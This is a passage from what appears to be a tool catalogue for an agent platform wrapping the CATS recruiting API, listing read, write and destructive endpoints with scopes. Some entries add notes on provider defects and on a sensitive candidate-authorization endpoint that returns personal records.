DELETE /candidates/lists/{list_id}/items/{item_id}. DELETE /api/v1/catsone/candidates/lists/{list_id}/items/{item_id}. Scopes: api. catsone_delete_candidates_work_history_by_id (write, destructive) — Delete a candidate work history item via DELETE /candidates/work_history/{id}. DELETE /api/v1/catsone/candidates/work_history/{id}. Scopes: api. catsone_delete_companies_by_company_id_phones_by_id (write, destructive) — Delete a company phone via DELETE /companies/{company_id}/phones/{id}. DELETE /api/v1/catsone/companies/{company_id}/phones/{id}. Scopes: api. catsone_delete_companies_by_company_id_tags_by_tag_id (write, destructive) — Delete company tag via DELETE /companies/{company_id}/tags/{tag_id}. DELETE /api/v1/catsone/companies/{company_id}/tags/{tag_id}. Scopes: api. catsone_delete_companies_by_id (write, destructive) — Delete a company via DELETE /companies/{id}. DELETE /api/v1/catsone/companies/{id}. Scopes: api. catsone_delete_companies_departments_by_department_id (write, destructive) — Delete department via DELETE /companies/departments/{department_id}. DELETE /api/v1/catsone/companies/departments/{department_id}. Scopes: api. catsone_delete_companies_lists_by_id (write, destructive) — Delete a company list via DELETE /companies/lists/{id}. DELETE /api/v1/catsone/companies/lists/{id}. Scopes: api. catsone_delete_companies_lists_by_list_id_items_by_item_id (write, destructive) — Delete a company list item via DELETE /companies/lists/{list_id}/items/{item_id}. DELETE /api/v1/catsone/companies/lists/{list_id}/items/{item_id}. Scopes: api. catsone_delete_contacts_by_contact_id_emails_by_id (write, destructive) — Delete a contact email via DELETE /contacts/{contact_id}/emails/{id}. DELETE /api/v1/catsone/contacts/{contact_id}/emails/{id}. Scopes: api. catsone_delete_contacts_by_contact_id_phones_by_id (write, destructive) — Delete a contact phone via DELETE /contacts/{contact_id}/phones/{id}. DELETE /api/v1/catsone/contacts/{contact_id}/phones/{id}. Scopes: api. catsone_delete_contacts_by_contact_id_tags_by_tag_id (write, destructive) — Delete contact tag via DELETE /contacts/{contact_id}/tags/{tag_id}. DELETE /api/v1/catsone/contacts/{contact_id}/tags/{tag_id}. Scopes: api. catsone_delete_contacts_by_id (write, destructive) — Delete a contact via DELETE /contacts/{id}. DELETE /api/v1/catsone/contacts/{id}. Scopes: api. catsone_delete_contacts_lists_by_id (write, destructive) — Delete a contact list via DELETE /contacts/lists/{id}. DELETE /api/v1/catsone/contacts/lists/{id}. Scopes: api. catsone_delete_contacts_lists_by_list_id_items_by_item_id (write, destructive) — Delete a contact list item via DELETE /contacts/lists/{list_id}/items/{item_id}. DELETE /api/v1/catsone/contacts/lists/{list_id}/items/{item_id}. Scopes: api. catsone_delete_jobs_by_id (write, destructive) — Delete a job via DELETE /jobs/{id}. DELETE /api/v1/catsone/jobs/{id}. Scopes: api. catsone_delete_jobs_by_job_id_tags_by_tag_id (write, destructive) — Delete job tag via DELETE /jobs/{job_id}/tags/{tag_id}. DELETE /api/v1/catsone/jobs/{job_id}/tags/{tag_id}. Scopes: api. catsone_delete_jobs_lists_by_id (write, destructive) — Delete a job list via DELETE /jobs/lists/{id}. DELETE /api/v1/catsone/jobs/lists/{id}. Scopes: api. catsone_delete_jobs_lists_by_list_id_items_by_item_id (write, destructive) — Delete a job list item via DELETE /jobs/lists/{list_id}/items/{item_id}. DELETE /api/v1/catsone/jobs/lists/{list_id}/items/{item_id}. Scopes: api. catsone_delete_pipelines_by_id (write, destructive) — Delete a pipeline via DELETE /pipelines/{id}. DELETE /api/v1/catsone/pipelines/{id}. Scopes: api. catsone_delete_portals_by_portal_id_jobs_by_job_id (write, destructive) — Unpublish portal job via DELETE /portals/{portal_id}/jobs/{job_id}. DELETE /api/v1/catsone/portals/{portal_id}/jobs/{job_id}. Scopes: api. catsone_delete_tasks_by_id (write, destructive) — Delete a task via DELETE /tasks/{id}. DELETE /api/v1/catsone/tasks/{id}. Scopes: api. catsone_delete_webhooks_by_id (write, destructive) — Delete a webhook via DELETE /webhooks/{id}. DELETE /api/v1/catsone/webhooks/{id}. Scopes: api. catsone_delete_work_history_by_work_history_id (write, destructive) — History delete a work history via DELETE /work_history/{work_history_id}. DELETE /api/v1/catsone/work_history/{work_history_id}. Scopes: api. catsone_get_activities (read) — List all activities via GET /activities. GET /api/v1/catsone/activities. Scopes: api. catsone_get_activities_by_id (read) — Get an activity via GET /activities/{id}. GET /api/v1/catsone/activities/{id}. Scopes: api. catsone_get_activities_search (read) — Search activities via GET /activities/search. GET /api/v1/catsone/activities/search. Scopes: api. catsone_get_attachments_by_id (read) — Get an attachment via GET /attachments/{id}. Returns the attachment's METADATA (id, filename, is_resume, owning data item) as JSON, not its bytes. Agentic Fabriq does not ship the file download: measured 2026-09-24 it answers application/octet-stream, and unbounded bytes cannot enter a tool result. GET /api/v1/catsone/attachments/{id}. Scopes: api. catsone_get_backups (read) — List all backups via GET /backups. GET /api/v1/catsone/backups. Scopes: api. catsone_get_backups_by_id (read) — Get a backup via GET /backups/{id}. GET /api/v1/catsone/backups/{id}. Scopes: api. catsone_get_candidates (read) — List all candidates via GET /candidates. GET /api/v1/catsone/candidates. Scopes: api. catsone_get_candidates_applications_by_application_id (read) — Get a candidate application via GET /candidates/applications/{application_id}. GET /api/v1/catsone/candidates/applications/{application_id}. Scopes: api. catsone_get_candidates_by_candidate_id_applications (read) — List applications by candidate via GET /candidates/{candidate_id}/applications. GET /api/v1/catsone/candidates/{candidate_id}/applications. Scopes: api. catsone_get_candidates_by_candidate_id_custom_fields_by_custom_field_id (read) — Get a candidate custom field value via GET /candidates/{candidate_id}/custom_fields/{custom_field_id}. GET /api/v1/catsone/candidates/{candidate_id}/custom_fields/{custom_field_id}. Scopes: api. catsone_get_candidates_by_candidate_id_emails (read) — List candidate emails via GET /candidates/{candidate_id}/emails. GET /api/v1/catsone/candidates/{candidate_id}/emails. Scopes: api. catsone_get_candidates_by_candidate_id_emails_by_id (read) — Get a candidate email via GET /candidates/{candidate_id}/emails/{id}. PROVIDER DEFECT, measured 2026-09-24: a valid candidate with an ABSENT email id answers 500 {"message":"Internal server error."} where a 404 belongs. A valid pair answers 200 normally. So a 500 here means the child id does not exist, not that CATS is down. GET /api/v1/catsone/candidates/{candidate_id}/emails/{id}. Scopes: api. catsone_get_candidates_by_candidate_id_phones (read) — List candidate phones via GET /candidates/{candidate_id}/phones. GET /api/v1/catsone/candidates/{candidate_id}/phones. Scopes: api. catsone_get_candidates_by_candidate_id_phones_by_id (read) — Get a candidate phone via GET /candidates/{candidate_id}/phones/{id}. PROVIDER DEFECT, measured 2026-09-24: a valid candidate with an ABSENT phone id answers 500 {"message":"Internal server error."} where a 404 belongs. A valid pair answers 200 normally, and a valid phone id under the WRONG candidate answers a typed 409 "That phone number does not exist on that data item." So a 500 here means the child id does not exist, not that CATS is down. GET /api/v1/catsone/candidates/{candidate_id}/phones/{id}. Scopes: api. catsone_get_candidates_by_candidate_id_tags (read) — List all candidate tags via GET /candidates/{candidate_id}/tags. GET /api/v1/catsone/candidates/{candidate_id}/tags. Scopes: api. catsone_get_candidates_by_id (read) — Get a candidate via GET /candidates/{id}. GET /api/v1/catsone/candidates/{id}. Scopes: api. catsone_get_candidates_by_id_activities (read) — List candidate activities via GET /candidates/{id}/activities. GET /api/v1/catsone/candidates/{id}/activities. Scopes: api. catsone_get_candidates_by_id_attachments (read) — List a candidate attachments via GET /candidates/{id}/attachments. GET /api/v1/catsone/candidates/{id}/attachments. Scopes: api. catsone_get_candidates_by_id_custom_fields (read) — List candidate custom field values via GET /candidates/{id}/custom_fields. GET /api/v1/catsone/candidates/{id}/custom_fields. Scopes: api. catsone_get_candidates_by_id_pipelines (read) — List pipelines by candidate via GET /candidates/{id}/pipelines. GET /api/v1/catsone/candidates/{id}/pipelines. Scopes: api. catsone_get_candidates_by_id_tasks (read) — List candidate tasks via GET /candidates/{id}/tasks. GET /api/v1/catsone/candidates/{id}/tasks. Scopes: api. catsone_get_candidates_by_id_thumbnail (read) — Get a candidate thumbnail via GET /candidates/{id}/thumbnail. GET /api/v1/catsone/candidates/{id}/thumbnail. Scopes: api. catsone_get_candidates_by_id_work_history (read) — List candidate work history via GET /candidates/{id}/work_history. GET /api/v1/catsone/candidates/{id}/work_history. Scopes: api. catsone_get_candidates_custom_fields (read) — List candidate custom fields via GET /candidates/custom_fields. GET /api/v1/catsone/candidates/custom_fields. Scopes: api. catsone_get_candidates_custom_fields_by_id (read) — Get a candidate custom field via GET /candidates/custom_fields/{id}. GET /api/v1/catsone/candidates/custom_fields/{id}. Scopes: api. catsone_get_candidates_lists (read) — List all candidate lists via GET /candidates/lists. GET /api/v1/catsone/candidates/lists. Scopes: api. catsone_get_candidates_lists_by_id (read) — Get a candidate list via GET /candidates/lists/{id}. GET /api/v1/catsone/candidates/lists/{id}. Scopes: api. catsone_get_candidates_lists_by_id_items (read) — List all candidate list items via GET /candidates/lists/{id}/items. GET /api/v1/catsone/candidates/lists/{id}/items. Scopes: api. catsone_get_candidates_lists_by_list_id_items_by_item_id (read) — Get a candidate list item via GET /candidates/lists/{list_id}/items/{item_id}. GET /api/v1/catsone/candidates/lists/{list_id}/items/{item_id}. Scopes: api. catsone_get_candidates_search (read) — Search candidates via GET /candidates/search. GET /api/v1/catsone/candidates/search. Scopes: api. catsone_get_candidates_work_history_by_id (read) — Get a candidate work history item via GET /candidates/work_history/{id}. GET /api/v1/catsone/candidates/work_history/{id}. Scopes: api. catsone_get_companies (read) — List all companies via GET /companies. GET /api/v1/catsone/companies. Scopes: api. catsone_get_companies_by_company_id_custom_fields_by_custom_field_id (read) — Get a company custom field value via GET /companies/{company_id}/custom_fields/{custom_field_id}. GET /api/v1/catsone/companies/{company_id}/custom_fields/{custom_field_id}. Scopes: api. catsone_get_companies_by_company_id_departments (read) — List all departments via GET /companies/{company_id}/departments. GET /api/v1/catsone/companies/{company_id}/departments. Scopes: api. catsone_get_companies_by_company_id_phones (read) — List company phones via GET /companies/{company_id}/phones. GET /api/v1/catsone/companies/{company_id}/phones. Scopes: api. catsone_get_companies_by_company_id_phones_by_id (read) — Get a company phone via GET /companies/{company_id}/phones/{id}. GET /api/v1/catsone/companies/{company_id}/phones/{id}. Scopes: api. catsone_get_companies_by_company_id_tags (read) — List all company tags via GET /companies/{company_id}/tags. GET /api/v1/catsone/companies/{company_id}/tags. Scopes: api. catsone_get_companies_by_id (read) — Get a company via GET /companies/{id}. GET /api/v1/catsone/companies/{id}. Scopes: api. catsone_get_companies_by_id_attachments (read) — List company attachments via GET /companies/{id}/attachments. GET /api/v1/catsone/companies/{id}/attachments. Scopes: api. catsone_get_companies_by_id_custom_fields (read) — List company custom field values via GET /companies/{id}/custom_fields. GET /api/v1/catsone/companies/{id}/custom_fields. Scopes: api. catsone_get_companies_by_id_tasks (read) — List company tasks via GET /companies/{id}/tasks. GET /api/v1/catsone/companies/{id}/tasks. Scopes: api. catsone_get_companies_by_id_thumbnail (read) — Get a company thumbnail via GET /companies/{id}/thumbnail. GET /api/v1/catsone/companies/{id}/thumbnail. Scopes: api. catsone_get_companies_custom_fields (read) — List company custom fields via GET /companies/custom_fields. GET /api/v1/catsone/companies/custom_fields. Scopes: api. catsone_get_companies_custom_fields_by_id (read) — Get a company custom field via GET /companies/custom_fields/{id}. GET /api/v1/catsone/companies/custom_fields/{id}. Scopes: api. catsone_get_companies_departments_by_id (read) — Get a department via GET /companies/departments/{id}. GET /api/v1/catsone/companies/departments/{id}. Scopes: api. catsone_get_companies_lists (read) — List all company lists via GET /companies/lists. GET /api/v1/catsone/companies/lists. Scopes: api. catsone_get_companies_lists_by_id (read) — Get a list via GET /companies/lists/{id}. GET /api/v1/catsone/companies/lists/{id}. Scopes: api. catsone_get_companies_lists_by_id_items (read) — List all company list items via GET /companies/lists/{id}/items. GET /api/v1/catsone/companies/lists/{id}/items. Scopes: api. catsone_get_companies_lists_by_list_id_items_by_item_id (read) — Get a company list item via GET /companies/lists/{list_id}/items/{item_id}. GET /api/v1/catsone/companies/lists/{list_id}/items/{item_id}. Scopes: api. catsone_get_companies_search (read) — Search companies via GET /companies/search. GET /api/v1/catsone/companies/search. Scopes: api. catsone_get_companies_statuses (read) — List company statuses via GET /companies/statuses. GET /api/v1/catsone/companies/statuses. Scopes: api. catsone_get_companies_statuses_by_id (read) — Get a company status via GET /companies/statuses/{id}. GET /api/v1/catsone/companies/statuses/{id}. Scopes: api. catsone_get_contacts (read) — List all contacts via GET /contacts. GET /api/v1/catsone/contacts. Scopes: api. catsone_get_contacts_by_contact_id_custom_fields_by_custom_field_id (read) — Get a contact custom field value via GET /contacts/{contact_id}/custom_fields/{custom_field_id}. GET /api/v1/catsone/contacts/{contact_id}/custom_fields/{custom_field_id}. Scopes: api. catsone_get_contacts_by_contact_id_emails (read) — List contact emails via GET /contacts/{contact_id}/emails. GET /api/v1/catsone/contacts/{contact_id}/emails. Scopes: api. catsone_get_contacts_by_contact_id_emails_by_id (read) — Get a contact email via GET /contacts/{contact_id}/emails/{id}. GET /api/v1/catsone/contacts/{contact_id}/emails/{id}. Scopes: api. catsone_get_contacts_by_contact_id_phones (read) — Lis contact phones via GET /contacts/{contact_id}/phones. GET /api/v1/catsone/contacts/{contact_id}/phones. Scopes: api. catsone_get_contacts_by_contact_id_phones_by_id (read) — Get a contact phone via GET /contacts/{contact_id}/phones/{id}. GET /api/v1/catsone/contacts/{contact_id}/phones/{id}. Scopes: api. catsone_get_contacts_by_contact_id_tags (read) — List all contact tags via GET /contacts/{contact_id}/tags. GET /api/v1/catsone/contacts/{contact_id}/tags. Scopes: api. catsone_get_contacts_by_id (read) — Get a contact via GET /contacts/{id}. GET /api/v1/catsone/contacts/{id}. Scopes: api. catsone_get_contacts_by_id_activities (read) — List contact activities via GET /contacts/{id}/activities. GET /api/v1/catsone/contacts/{id}/activities. Scopes: api. catsone_get_contacts_by_id_attachments (read) — List contact attachments via GET /contacts/{id}/attachments. GET /api/v1/catsone/contacts/{id}/attachments. Scopes: api. catsone_get_contacts_by_id_custom_fields (read) — List contact custom field values via GET /contacts/{id}/custom_fields. GET /api/v1/catsone/contacts/{id}/custom_fields. Scopes: api. catsone_get_contacts_by_id_tasks (read) — List contact tasks via GET /contacts/{id}/tasks. GET /api/v1/catsone/contacts/{id}/tasks. Scopes: api. catsone_get_contacts_by_id_thumbnail (read) — Get a contact thumbnail via GET /contacts/{id}/thumbnail. GET /api/v1/catsone/contacts/{id}/thumbnail. Scopes: api. catsone_get_contacts_custom_fields (read) — List contact custom fields via GET /contacts/custom_fields. GET /api/v1/catsone/contacts/custom_fields. Scopes: api. catsone_get_contacts_custom_fields_by_id (read) — Get a contact custom field via GET /contacts/custom_fields/{id}. GET /api/v1/catsone/contacts/custom_fields/{id}. Scopes: api. catsone_get_contacts_lists (read) — List all contact lists via GET /contacts/lists. GET /api/v1/catsone/contacts/lists. Scopes: api. catsone_get_contacts_lists_by_id (read) — Get a contact list via GET /contacts/lists/{id}. GET /api/v1/catsone/contacts/lists/{id}. Scopes: api. catsone_get_contacts_lists_by_id_items (read) — List all contact list items via GET /contacts/lists/{id}/items. GET /api/v1/catsone/contacts/lists/{id}/items. Scopes: api. catsone_get_contacts_lists_by_list_id_items_by_item_id (read) — Get a contact list item via GET /contacts/lists/{list_id}/items/{item_id}. GET /api/v1/catsone/contacts/lists/{list_id}/items/{item_id}. Scopes: api. catsone_get_contacts_search (read) — Search contacts via GET /contacts/search. GET /api/v1/catsone/contacts/search. Scopes: api. catsone_get_contacts_statuses (read) — List contact statuses via GET /contacts/statuses. GET /api/v1/catsone/contacts/statuses. Scopes: api. catsone_get_contacts_statuses_by_id (read) — Get contact status via GET /contacts/statuses/{id}. GET /api/v1/catsone/contacts/statuses/{id}. Scopes: api. catsone_get_events (read) — List all events starting after an id via GET /events. Paginates by CURSOR rather than by page/per_page, and there are two: the response carries `last_id`, which the next call passes as `starting_after_id`, or pass an RFC 3339 `starting_after_timestamp` instead. The response's own self link echoes whichever one CATS used. GET /api/v1/catsone/events. Scopes: api. catsone_get_jobs (read) — List all jobs via GET /jobs. GET /api/v1/catsone/jobs. Scopes: api. catsone_get_jobs_applications_by_application_id (read) — Get a job application via GET /jobs/applications/{application_id}. GET /api/v1/catsone/jobs/applications/{application_id}. Scopes: api. catsone_get_jobs_applications_by_application_id_fields (read) — List job application fields via GET /jobs/applications/{application_id}/fields. GET /api/v1/catsone/jobs/applications/{application_id}/fields. Scopes: api. catsone_get_jobs_by_id (read) — Get a job via GET /jobs/{id}. GET /api/v1/catsone/jobs/{id}. Scopes: api. catsone_get_jobs_by_id_attachments (read) — List job attachments via GET /jobs/{id}/attachments. GET /api/v1/catsone/jobs/{id}/attachments. Scopes: api. catsone_get_jobs_by_id_custom_fields (read) — List job custom field values via GET /jobs/{id}/custom_fields. GET /api/v1/catsone/jobs/{id}/custom_fields. Scopes: api. catsone_get_jobs_by_id_pipelines (read) — List pipelines by job via GET /jobs/{id}/pipelines. GET /api/v1/catsone/jobs/{id}/pipelines. Scopes: api. catsone_get_jobs_by_id_tasks (read) — List job tasks via GET /jobs/{id}/tasks. GET /api/v1/catsone/jobs/{id}/tasks. Scopes: api. catsone_get_jobs_by_job_id_applications (read) — List applications by job via GET /jobs/{job_id}/applications. GET /api/v1/catsone/jobs/{job_id}/applications. Scopes: api. catsone_get_jobs_by_job_id_custom_fields_by_custom_field_id (read) — Get a job custom field value via GET /jobs/{job_id}/custom_fields/{custom_field_id}. GET /api/v1/catsone/jobs/{job_id}/custom_fields/{custom_field_id}. Scopes: api. catsone_get_jobs_by_job_id_tags (read) — List all job tags via GET /jobs/{job_id}/tags. GET /api/v1/catsone/jobs/{job_id}/tags. Scopes: api. catsone_get_jobs_custom_fields (read) — List job custom fields via GET /jobs/custom_fields. GET /api/v1/catsone/jobs/custom_fields. Scopes: api. catsone_get_jobs_custom_fields_by_id (read) — Get a job custom field via GET /jobs/custom_fields/{id}. GET /api/v1/catsone/jobs/custom_fields/{id}. Scopes: api. catsone_get_jobs_lists (read) — List all job lists via GET /jobs/lists. GET /api/v1/catsone/jobs/lists. Scopes: api. catsone_get_jobs_lists_by_id (read) — Get a job list via GET /jobs/lists/{id}. GET /api/v1/catsone/jobs/lists/{id}. Scopes: api. catsone_get_jobs_lists_by_id_items (read) — List all job list items via GET /jobs/lists/{id}/items. GET /api/v1/catsone/jobs/lists/{id}/items. Scopes: api. catsone_get_jobs_lists_by_list_id_items_by_item_id (read) — Get a job list item via GET /jobs/lists/{list_id}/items/{item_id}. GET /api/v1/catsone/jobs/lists/{list_id}/items/{item_id}. Scopes: api. catsone_get_jobs_search (read) — Search jobs via GET /jobs/search. GET /api/v1/catsone/jobs/search. Scopes: api. catsone_get_jobs_statuses (read) — List job statuses via GET /jobs/statuses. GET /api/v1/catsone/jobs/statuses. Scopes: api. catsone_get_jobs_statuses_by_id (read) — Get a job status via GET /jobs/statuses/{id}. GET /api/v1/catsone/jobs/statuses/{id}. Scopes: api. catsone_get_pipelines (read) — List all pipelines via GET /pipelines. GET /api/v1/catsone/pipelines. Scopes: api. catsone_get_pipelines_by_id (read) — Get a pipeline via GET /pipelines/{id}. GET /api/v1/catsone/pipelines/{id}. Scopes: api. catsone_get_pipelines_by_id_statuses (read) — Get pipeline historical statuses via GET /pipelines/{id}/statuses. GET /api/v1/catsone/pipelines/{id}/statuses. Scopes: api. catsone_get_pipelines_workflows (read) — List workflows via GET /pipelines/workflows. GET /api/v1/catsone/pipelines/workflows. Scopes: api. catsone_get_pipelines_workflows_by_id (read) — Get a workflow via GET /pipelines/workflows/{id}. GET /api/v1/catsone/pipelines/workflows/{id}. Scopes: api. catsone_get_pipelines_workflows_by_workflow_id_statuses (read) — List workflow statuses via GET /pipelines/workflows/{workflow_id}/statuses. GET /api/v1/catsone/pipelines/workflows/{workflow_id}/statuses. Scopes: api. catsone_get_pipelines_workflows_by_workflow_id_statuses_by_status_id (read) — Get a workflow status via GET /pipelines/workflows/{workflow_id}/statuses/{status_id}. GET /api/v1/catsone/pipelines/workflows/{workflow_id}/statuses/{status_id}. Scopes: api. catsone_get_portals (read) — List all portals via GET /portals. GET /api/v1/catsone/portals. Scopes: api. catsone_get_portals_by_id (read) — Get a portal via GET /portals/{id}. GET /api/v1/catsone/portals/{id}. Scopes: api. catsone_get_portals_by_id_jobs (read) — List portal jobs via GET /portals/{id}/jobs. GET /api/v1/catsone/portals/{id}/jobs. Scopes: api. catsone_get_portals_by_id_registration (read) — Get portal registration application via GET /portals/{id}/registration. GET /api/v1/catsone/portals/{id}/registration. Scopes: api. catsone_get_site (read) — Get site via GET /site. GET /api/v1/catsone/site. Scopes: api. catsone_get_tags (read) — List all tags via GET /tags. GET /api/v1/catsone/tags. Scopes: api. catsone_get_tags_by_id (read) — Get a tag via GET /tags/{id}. GET /api/v1/catsone/tags/{id}. Scopes: api. catsone_get_tasks (read) — List all tasks via GET /tasks. GET /api/v1/catsone/tasks. Scopes: api. catsone_get_tasks_by_id (read) — Get a task via GET /tasks/{id}. GET /api/v1/catsone/tasks/{id}. Scopes: api. catsone_get_triggers (read) — List all triggers via GET /triggers. GET /api/v1/catsone/triggers. Scopes: api. catsone_get_triggers_by_id (read) — Get a trigger via GET /triggers/{id}. GET /api/v1/catsone/triggers/{id}. Scopes: api. catsone_get_users (read) — List all users via GET /users. GET /api/v1/catsone/users. Scopes: api. catsone_get_users_by_id (read) — Get a user via GET /users/{id}. GET /api/v1/catsone/users/{id}. Scopes: api. catsone_get_webhooks (read) — List all webhooks via GET /webhooks. GET /api/v1/catsone/webhooks. Scopes: api. catsone_get_webhooks_by_id (read) — Get a webhook via GET /webhooks/{id}. GET /api/v1/catsone/webhooks/{id}. Scopes: api. catsone_get_work_history_by_work_history_id (read) — History get a work history via GET /work_history/{work_history_id}. GET /api/v1/catsone/work_history/{work_history_id}. Scopes: api. catsone_post_activities_search (read) — Filter activities via POST /activities/search. POST /api/v1/catsone/activities/search. Scopes: api. catsone_post_backups (write) — Create a backup via POST /backups. POST /api/v1/catsone/backups. Scopes: api. catsone_post_candidates (write) — Create a candidate via POST /candidates. `password` in the body is the CANDIDATE PORTAL password, set on the candidate's behalf -- not an API credential, and not this connection's. Agentic Fabriq never logs a request body and CATS does not echo the value back: measured 2026-09-24, its validation errors name the offending FIELD only ('date_available must be a valid date...'), and the 201 carries no body at all. POST /api/v1/catsone/candidates. Scopes: api. catsone_post_candidates_authorization (read) — Authorize a candidate via POST /candidates/authorization. CREDENTIAL-VERIFICATION PRIMITIVE THAT YIELDS PII ON SUCCESS, and the only tool here that is one. It checks a CANDIDATE PORTAL email/password pair, and a correct pair answers 200 with that candidate's ENTIRE record -- legal name, primary and secondary emails, postal address, phone numbers, social-media URLs and website -- so a single correct guess returns personal data, not merely a yes. Both legs measured 2026-09-24: correct pair -> 200 with the whole candidate; wrong password on a REAL email -> 404 'No candidate could be found with that login information.'; unknown email -> the SAME 404, so it does not reveal whether the account exists. Catalogued as a READ because it mutates nothing -- that is the effect, and the catalogue has no axis for sensitivity -- but granting it lets the holder test candidate portal passwords AND read a candidate's personal record without knowing, or being able to guess, its id. POST /api/v1/catsone/candidates/authorization. Scopes: api. catsone_post_candidates_by_candidate_id_emails (write) — Create a candidate email via POST /candidates/{candidate_id}/emails. POST /api/v1/catsone/candidates/{candidate_id}/emails. Scopes: api. catsone_post_candidates_by_candidate_id_phones (write) — Create a candidate phone via POST /candidates/{candidate_id}/phones. POST /api/v1/catsone/candidates/{candidate_id}/phones. Scopes: api. catsone_post_candidates_by_candidate_id_tags (write) — Replace candidate tags via POST /candidates/{candidate_id}/tags. POST /api/v1/catsone/candidates/{candidate_id}/tags. Scopes: api. catsone_post_candidates_by_id_activities (write) — Create a candidate activity via POST /candidates/{id}/activities. POST /api/v1/catsone/candidates/{id}/activities. Scopes: api. catsone_post_candidates_by_id_work_history (write) — Create a candidate work history item via POST /candidates/{id}/work_history. POST /api/v1/catsone/candidates/{id}/work_history. Scopes: api. catsone_post_candidates_lists (write) — Create a candidate list via POST /candidates/lists. POST /api/v1/catsone/candidates/lists. Scopes: api. catsone_post_candidates_lists_by_id_items (write) — Create candidate list items via POST /candidates/lists/{id}/items. POST /api/v1/catsone/candidates/lists/{id}/items. Scopes: api. catsone_post_candidates_search (read) — Filter candidates via POST /candidates/search. POST /api/v1/catsone/candidates/search. Scopes: api. catsone_post_companies (write) — Create a company via POST /companies. POST /api/v1/catsone/companies. Scopes: api. catsone_post_companies_by_company_id_departments (write) — Add department via POST /companies/{company_id}/departments. POST /api/v1/catsone/companies/{company_id}/departments. Scopes: api. catsone_post_companies_by_company_id_phones (write) — Create a company phone via POST /companies/{company_id}/phones. POST /api/v1/catsone/companies/{company_id}/phones. Scopes: api. catsone_post_companies_by_company_id_tags (write) — Replace company tags via POST /companies/{company_id}/tags. POST /api/v1/catsone/companies/{company_id}/tags. Scopes: api. catsone_post_companies_by_id_status (write) — Change company status via POST /companies/{id}/status. POST /api/v1/catsone/companies/{id}/status. Scopes: api. catsone_post_companies_lists (write) — Create a company list via POST /companies/lists. POST /api/v1/catsone/companies/lists. Scopes: api. catsone_post_companies_lists_by_id_items (write) — Create company list items via POST /companies/lists/{id}/items. POST /api/v1/catsone/companies/lists/{id}/items. Scopes: api. catsone_post_companies_search (read) — Filter companies via POST /companies/search. POST /api/v1/catsone/companies/search. Scopes: api. catsone_post_contacts (write) — Create a contact via POST /contacts. POST /api/v1/catsone/contacts. Scopes: api. catsone_post_contacts_by_contact_id_emails (write) — Create a contact email via POST /contacts/{contact_id}/emails. POST /api/v1/catsone/contacts/{contact_id}/emails. Scopes: api. catsone_post_contacts_by_contact_id_phones (write) — Create a contact phone via POST /contacts/{contact_id}/phones. POST /api/v1/catsone/contacts/{contact_id}/phones. Scopes: api. catsone_post_contacts_by_contact_id_tags (write) — Replace contact tags via POST /contacts/{contact_id}/tags. POST /api/v1/catsone/contacts/{contact_id}/tags. Scopes: api. catsone_post_contacts_by_id_activities (write) — Create a contact activity via POST /contacts/{id}/activities. POST /api/v1/catsone/contacts/{id}/activities. Scopes: api. catsone_post_contacts_by_id_status (write) — Change contact status via POST /contacts/{id}/status. POST /api/v1/catsone/contacts/{id}/status. Scopes: api. catsone_post_contacts_lists (write) — Create a contact list via POST /contacts/lists. POST /api/v1/catsone/contacts/lists. Scopes: api. catsone_post_contacts_lists_by_id_items (write) — Create contact list items via POST /contacts/lists/{id}/items. POST /api/v1/catsone/contacts/lists/{id}/items. Scopes: api. catsone_post_contacts_search (read) — Filter contacts via POST /contacts/search. POST /api/v1/catsone/contacts/search. Scopes: api. catsone_post_jobs (write) — Create a job via POST /jobs. POST /api/v1/catsone/jobs. Scopes: api. catsone_post_jobs_by_id_status (write) — Change job status via POST /jobs/{id}/status. POST /api/v1/catsone/jobs/{id}/status. Scopes: api. catsone_post_jobs_by_job_id_tags (write) — Replace job tags via POST /jobs/{job_id}/tags. POST /api/v1/catsone/jobs/{job_id}/tags. Scopes: api. catsone_post_jobs_lists (write) — Create a job list via POST /jobs/lists. POST /api/v1/catsone/jobs/lists. Scopes: api. catsone_post_jobs_lists_by_id_items (write) — Create job list items via POST /jobs/lists/{id}/items. POST /api/v1/catsone/jobs/lists/{id}/items. Scopes: api. catsone_post_jobs_search (read) — Filter jobs via POST /jobs/search. POST /api/v1/catsone/jobs/search. Scopes: api. catsone_post_pipelines (write) — Create a pipeline via POST /pipelines. POST /api/v1/catsone/pipelines. Scopes: api. catsone_post_pipelines_by_id_status (write) — Change pipeline status via POST /pipelines/{id}/status. POST /api/v1/catsone/pipelines/{id}/status. Scopes: api. catsone_post_pipelines_search (read) — Filter pipelines via POST /pipelines/search. POST /api/v1/catsone/pipelines/search. Scopes: api. catsone_post_portals_by_id_registration (write) — Submit portal registration application via POST /portals/{id}/registration. POST /api/v1/catsone/portals/{id}/registration. Scopes: api. catsone_post_portals_by_portal_id_jobs_by_job_id (write) — Submit via POST /portals/{portal_id}/jobs/{job_id}. POST /api/v1/catsone/portals/{portal_id}/jobs/{job_id}. Scopes: api. catsone_post_tasks (write) — Create a task via POST /tasks. POST /api/v1/catsone/tasks. Scopes: api. catsone_post_webhooks (write) — Create a webhook via POST /webhooks. `secret` is the signing secret CATS will use on deliveries to `target_url`; the CALLER chooses it, so keep a copy -- measured 2026-09-24, NEITHER read hands it back. `GET /webhooks` and `GET /webhooks/{id}` return only id, event, target_url and _links, and the read shape is byte-identical for a webhook created with a secret and one created without. POST /api/v1/catsone/webhooks. Scopes: api. catsone_put_activities_by_id (write) — Update an activity via PUT /activities/{id}. PUT /api/v1/catsone/activities/{id}. Scopes: api. catsone_put_candidates_by_candidate_id_custom_fields_by_custom_field_id (write) — Update a candidate custom field via PUT /candidates/{candidate_id}/custom_fields/{custom_field_id}. PUT /api/v1/catsone/candidates/{candidate_id}/custom_fields/{custom_field_id}. Scopes: api. catsone_put_candidates_by_candidate_id_emails_by_id (write) — Update a candidate email via PUT /candidates/{candidate_id}/emails/{id}. PUT /api/v1/catsone/candidates/{candidate_id}/emails/{id}. Scopes: api. catsone_put_candidates_by_candidate_id_phones_by_id (write) — Update a candidate phone via PUT /candidates/{candidate_id}/phones/{id}. PUT /api/v1/catsone/candidates/{candidate_id}/phones/{id}. Scopes: api. catsone_put_candidates_by_candidate_id_tags (write) — Attach candidate tags via PUT /candidates/{candidate_id}/tags. PUT /api/v1/catsone/candidates/{candidate_id}/tags. Scopes: api. catsone_put_candidates_by_id (write) — Update a candidate via PUT /candidates/{id}. `password` in the body is the CANDIDATE PORTAL password, set on the candidate's behalf -- not an API credential, and not this connection's. Agentic Fabriq never logs a request body and CATS does not echo the value back (measured 2026-09-24). PUT /api/v1/catsone/candidates/{id}. Scopes: api. catsone_put_candidates_by_id_thumbnail (write) — Change a candidate thumbnail via PUT /candidates/{id}/thumbnail. PUT /api/v1/catsone/candidates/{id}/thumbnail. Scopes: api. 